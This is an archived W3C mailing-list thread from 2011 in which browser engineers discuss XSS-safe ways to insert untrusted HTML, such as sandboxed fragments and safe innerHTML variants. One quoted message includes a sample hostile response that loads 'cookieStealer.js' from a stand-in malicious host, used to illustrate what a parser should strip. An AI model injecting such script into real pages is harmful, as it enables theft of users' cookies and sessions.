W3C home > Mailing lists > Public > public-webapps@w3.org > October to December 2011

Re: innerHTML in DocumentFragment

From: Daniel Cheng <dcheng@chromium.org>
Date: Tue, 8 Nov 2011 17:24:28 -0800
Message-ID: <CAF3XrKqObUMyxqrUDHXuQPH6D57rEbpOnqavQL=1785u53PSzA@mail.gmail.com>
To: Ojan Vafai <ojan@chromium.org>
Cc: Jonas Sicking <jonas@sicking.cc>, Ryan Seddon <seddon.ryan@gmail.com>, Yehuda Katz <wycats@gmail.com>, public-webapps WG <public-webapps@w3.org>
The clipboard events <http://www.w3.org/TR/clipboard-apis/> spec has some
text about HTML sanitization. It might be good to make sure any work in
this area is shared.

Daniel

On Tue, Nov 8, 2011 at 17:10, Ojan Vafai <ojan@chromium.org> wrote:

> Providing concise, easy and XSS safe ways to generate a DOM is certainly
> something we have to solve. I don't think sandbox is the best way to
> achieve this. Specifically, I don't believe sandbox on iframes actually
> strips the script elements, does it? It just doesn't execute them.
>
> If we want to continue down the string->DOM approach, then I agree with
> Jonas, we need to define an algorithm for safe innerHTML and use it in all
> the places where we can currently set HTML. I'm open to supporting this
> use-case because the XHR pattern is so common.
>
> The other solution being proposed for easy, safe DOM creation is
> quasi-literals, which I believe we should definitely also do. In those
> cases, you'd have something like:
> var myDom = html'<a href="">foo</a>';
>
> The browser would provide a built-in html function that returns a DOM and
> uses the browser's html parser. These are not strings though, so you can't
> use the response from an XHR here.
>
> On Mon, Nov 7, 2011 at 8:36 PM, Jonas Sicking <jonas@sicking.cc> wrote:
>
>> On Mon, Nov 7, 2011 at 8:23 PM, Ryan Seddon <seddon.ryan@gmail.com>
>> wrote:
>> > On Tue, Nov 8, 2011 at 4:30 AM, Ojan Vafai <ojan@chromium.org> wrote:
>> >>
>> >> I don't really follow. Script won't execute until you append the
>> fragment
>> >> to the DOM, at which point the fragment itself doesn't go in the DOM,
>> just
>> >> it's children. So, I'm not really sure what sandboxing on fragments
>> would
>> >> do.
>> >
>> > If I was ajaxing in potentially hostile content that had malicious
>> script
>> > tags in it it would be ideal to "sandbox" the content so the HTML
>> parser in
>> > the browser would strip the content for me.
>> >
>> > xhr.responseText = "<div><script
>> >
>> src="//malicious.site/cookieStealer.js"></script><h1>content</h1></div>";
>> >
>> > var frag =  document.createDocumentFragment();
>> >
>> > frag.sandbox = "";
>> > frag.innerHTML = xhr.responseText; // it's sandboxed so the script(s)
>> will
>> > be stripped by the parser.
>> >
>> > document.body.appendChild(frag);
>> >
>> > The following article demonstrates the same concept using an iframe
>> with the
>> > sandbox attribute set[1]. This to me would also make sense to be
>> extended to
>> > fragments.
>> >
>> > [1]
>> >
>> http://community.jboss.org/people/wesleyhales/blog/2011/08/28/fixing-ajax-on-mobile-devices
>>
>> I do think we should add something like this, however I think we
>> should have a more explicit syntax for it. There's an old thread with
>> subject "innerStaticHTML" in the WHATWG list which discusses this
>> topic and various possible syntaxes.
>>
>> Note that inserting a untrusted piece of HTML into your document is
>> interesting not just when dealing with document fragments. Both
>> div.innerHTML as well as div.insertAdjecentHTML(...) seems like they
>> could use "safe" variants.
>>
>> In short, I think a separate thread is needed for this :)
>>
>> / Jonas
>>
>
>
Received on Wednesday, 9 November 2011 01:25:10 GMT

This archive was generated by hypermail 2.3.1 : Tuesday, 26 March 2013 18:49:48 GMT